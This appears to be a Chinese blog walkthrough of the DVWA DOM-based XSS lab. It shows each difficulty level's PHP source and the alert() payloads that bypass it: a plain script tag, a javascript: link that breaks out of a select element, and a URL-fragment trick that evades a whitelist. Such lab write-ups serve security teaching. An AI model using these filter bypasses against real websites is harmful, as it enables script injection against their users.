DOM型XSS是基于DOM文档对象模型的一种漏洞

通过 HTML DOM,树中的所有节点均可通过 JavaScript 进行访问。所有 HTML 元素(节点)均可被修改,也可以创建或删除节点。(引用W3C)

因为可以在DOM树中植入js代码,因此造成了XSS-DOM漏洞,所以DOM类型的XSS可能是反射型也可能是储存型

Low

<?php

# No protections, anything goes

?> 

没有PHP代码,直接看前端

构造payload

?default=<script>alert('xss')</script

成功执行

Medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default']; # Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

stripos函数 找查字符在字符串中第一次出现的位置

如果$default 出现<script,则默认?default=English

我们可以用采用JavaScript伪协议

?default=</option></select><a href="javascript:alert('xss')">test</a>

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>

switch语句选出了对应的结果(白名单),其他的字符默认为English

payload :

?default=English #<script>alert(/xss/)</script>

因为在URL栏中#之后的字符不会提交到服务器,就实现绕过白名单

Impossible

<?php

# Don't need to do anything, protction handled on the client side

?> 

不需要做任何事情,在客户端处理保护

测试输入 <script>alert('xss')</script>

被解释URL编码,从而防止js代码执行

最新文章

  1. .Net使用Redis详解之ServiceStack.Redis(七)
  2. 由ArcMap属性字段自增引出字段计算器使用Python的技巧
  3. 通过ipv6访问 g o o g l e
  4. 如何在tpl模版的div块中加ztree
  5. cxf和jaxws的对比
  6. 使用eclipse和maven生成java web程序war包
  7. iOS网络监测如何区分2、3、4G?
  8. JDBC的批量批量插入
  9. ImageButton如何让图片按比例缩放不被拉伸
  10. ActionBarSherlock
  11. drop table big_table 调试
  12. AfxMessageBox(&quot;这里为提示框的内容&quot;);程序弹出一个提示窗口,可以做调试提示信息
  13. (原)caffe中fine tuning及使用snapshot时的sh命令
  14. 在Linux下使用iconv转换字符串编码
  15. Netty(6)源码-服务端与客户端创建
  16. CSS之定位布局(position,定位布局技巧)
  17. Java简单知识梳理
  18. 下载文件downloadFile
  19. setTimeout循环传参数几种方式
  20. bzoj2054疯狂的馒头——线段树

热门文章

  1. svg 画地图
  2. 【oracle】INSERT INTO SELECT
  3. 用Node.js给邮箱发送邮件
  4. Python调用C的DLL(动态链接库)
  5. 第04组 Alpha事后诸葛亮
  6. JAVA 运行springboot jar包设置classpath
  7. fastadmin表单提交后却没有关闭弹窗
  8. JDBC的安装与使用
  9. 配置 ASP.NET Core 请求(Request)处理管道
  10. python常用库简单使用( PyPDF2 )